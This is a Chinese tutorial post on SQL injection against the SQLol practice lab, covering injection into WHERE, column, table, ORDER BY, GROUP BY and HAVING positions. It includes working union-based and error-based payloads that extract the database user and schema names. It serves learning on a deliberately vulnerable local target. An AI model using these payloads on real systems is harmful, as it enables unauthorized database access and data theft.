SQL注入测试平台 SQLol -2.SELECT注入测试
前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试。
一条完成Select语句,大致可以这样表示:
SELECT 【username】 FROM 【users】 WHERE username = 【'1'】 GROUP BY 【username】 ORDER BY 【username ASC】 [having 【1=1】 ][limit 【0,1】 ]
接收的参数可能拼接到上述语句中【】的任一个位置。
注射位置不同,构造sql注入语句的方法也有所不同,但大致可以划分为三种。
1、联合查询(union select)
2、报错注入
3、盲注(布尔类型、时间延迟类型)
有的注入点可以同时使用多种方法注入,这里只演示一种。
下面演示注入到不同位置的方法。
一、WHERE 子句里的字符串
Tips:字符型注入;
在注射字符串中输入:admin,显示语句,选择注射位置为,WHERE子句里的字符串,返回的信息为:
SELECT username FROM users WHERE username = 'admin' GROUP BY username ORDER BY username ASC
可以知道我们输入的admin,被拼接到where子句里面,然后我们开始构造POC:
admin' union select user()#
如下图,我们取得数据库用户名(root@localhost),可以将user()替换为其他查询语句查询其他数据。

二、WHERE 子句里的数字
Tips:与上面的WHERE 子句里的字符串类似,所不同的,这是数字型注入;
在注射字符串中输入:1,显示语句,选择注射位置为,WHERE子句里的数据,返回的信息为:
SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC
构造POC:
SELECT username FROM users WHERE isadmin = 1 union select user()# GROUP BY username ORDER BY username ASC
如下图,我们取得数据库用户名。

三、整个语句
Tips: 直接可以执行任何sql语句
在注射字符串中输入:select * from users,users为数据库用户表,显示语句,选择注射位置为,整条语句,返回的信息为:
select * from users
可以在这里输入任何的sql语句执行。

四、Column 名称
Tips: 注入位置在username
SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
利用方式:
1、输入字段查询users表,或直接用*代替,查询users表中所有的数据

2、注释掉后面的语句,与select直接拼接,例如:注射字符串位置输入version(),拼接成
SELECT version()# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
替换version(),输入其他数据库查询语句,可查询其他数据

五、Table 名称
Tips:注射位置在表users
SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
利用方式:
1、输入正确的表名,union select查询
六、ORDER BY 子句
Tips:注射位置在order by
当使用union操作时,排序语句必须放在最后面才正确,就是说只能在union的最后一个子查询中使用order by,因此这里不能用union slect。
利用方式:
报错注入
1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
得到数据库sqlol,可以使用其他语句继续报错注入。
参考资料:http://www.myhack58.com/Article/html/3/7/2013/38704.htm

七、GROUP BY 子句
Tips:注射位置在group by
GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。
利用方式:
1、与order by 一样,直接报错注入
2、在MSSQL中,可以利用group by , having 进行爆当前列

八、HAVING 子句
Tips:having位置
利用方式:
报错注入

最后
欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。

SQL注入测试平台 SQLol -2.SELECT注入测试的更多相关文章
- SQL注入测试平台 SQLol -3.INSERT注入测试
访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试. insert语句: INSERT INTO [users] ([usern ...
- SQL注入测试平台 SQLol -5.DELETE注入测试
访问首页的delete模块,http://127.0.0.1/sql/delete.php,开始对delete模块进行测试. delete语法: DELETE FROM [users] WHERE [ ...
- SQL注入测试平台 SQLol -4.UPDATE注入测试
访问首页的update模块http://127.0.0.1/sql/update.php,开始对update模块进行测试. update语法: UPDATE [users] SET [username ...
- SQL注入测试平台 SQLol -1. 简介与安装
最近下载了SQLol测试了一下,感觉挺好玩的,做一下记录. SQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句,SQLol还是比较有创意的项目. ...
- SQL注入测试平台 SQLol -6.CHALLENGES挑战
SQLol上面的挑战共有14关,接下来我们一关一关来突破. Challenge 0 目的是让查询返回所有的用户名,而不是只有一个. SELECT username FROM users WHERE u ...
- 《SystemVerilog验证-测试平台编写指南》学习 - 第1章 验证导论
<SystemVerilog验证-测试平台编写指南>学习 - 第1章 验证导论 测试平台(testbench)的功能 方法学基础 1. 受约束的随机激励 2. 功能覆盖率 3. 分层的测试 ...
- 移动APP云测试平台测评分析
随着智能手机的普及率和渗透率越来越高,App开发软件也越来越多.有专家预测,2017年的App应用下载量将会突破2500亿,整个移动科技市场规模将会达到770亿美元.身处在这个"移动&quo ...
- 移动app云测试平台
一:移动App云测试平台 1.云测试平台背景 随着智能手机的普及率和渗透率越来越高,App开发软件也越来越多.但是因为安卓和IOS的碎片化,尤其是安卓,因为完全开源的原因,导致设备繁多,品牌众多,版本 ...
- 渗透测试学习 九、 MSsql注入上
MSsql注入漏洞详解 (Asp.Aspx站,常见于棋牌网站.考试网站.大学网站.政府网站.游戏网站.OA办公系统) 大纲:msSQL数据库调用分析 msSQL注入原理 msSQL注入另类玩法 msS ...
随机推荐
- svnadmin:error while loading shared libraries: libaprutil-1.so.0:cannot open shared object file: No such file or directory
wdcp下安装svn后一直提示 svnadmin:error while loading shared libraries: libaprutil-1.so.0:cannot open shared ...
- ie9,10 uploadify cleanUp bug
起因:ie多次加载uploadify3.2版本这个组件的时候,出现了SCRIPT5007: 缺少对象. From:http://blog.163.com/xiangfei209@126/blog/s ...
- Problem C 链表
Description 某部队进行新兵队列训练,将新兵从一开始按顺序依次编号,并排成一行横队,训练的规则如下:从头开始一至二报数,凡报到二的出列,剩下的向小序号方向靠拢,再从头开始进行一至三报数,凡报 ...
- Oracle Database 11g express edition
commands : show sys connect sys as sysdba or connect system as sysdba logout or disc clear screen or ...
- Android ScrollView与ViewPager滑动冲突
前段时间做项目碰到在ScrollView里添加ViewPager,但是发现ViewPager的左右滑动和ScrollView的滑动冲突了,解决这个问题的方法是重写ScrollView. 代码: pub ...
- Openstack Swift中间件编写
关于openstack swift的资料可以看这里,这里还有这里. 准备环境 从零开始接触的同学可以先从swift的all in one部署开始学习,在本机搭建好swift环境就可以进行简单的测试了. ...
- php操作文件(读取写入文件)
一,PHP如何读取文件 PHP读取文件可以读取当前服务器或远程服务器中的文件.其步骤是:打开文件.读文件和关闭文件. 1,PHP如何打开文件 使用PHP函数fopen()打开一个文件,fopen()一 ...
- Bootstrap非常简单实用的web前端开发框架
今天无意间用firebug看网站的代码发现了Bootstrap,之前从来没有听说过这个东东,于是对它产生了好奇感,通过百度我了解到了Bootstrap是一款非常简单,强悍,实用,移动设备端优先使用的这 ...
- 一个基于atomic的卖票测试
package testAtomic; import java.util.concurrent.atomic.AtomicInteger; import sun.security.krb5.inter ...
- 几种判断asp.net中session过期方法的比较
方法一:最麻烦也是最容易想到的方法,在每个页面的page_load()方法里面判断: protected void Page_Load(object sender, EventArgs e) { if ...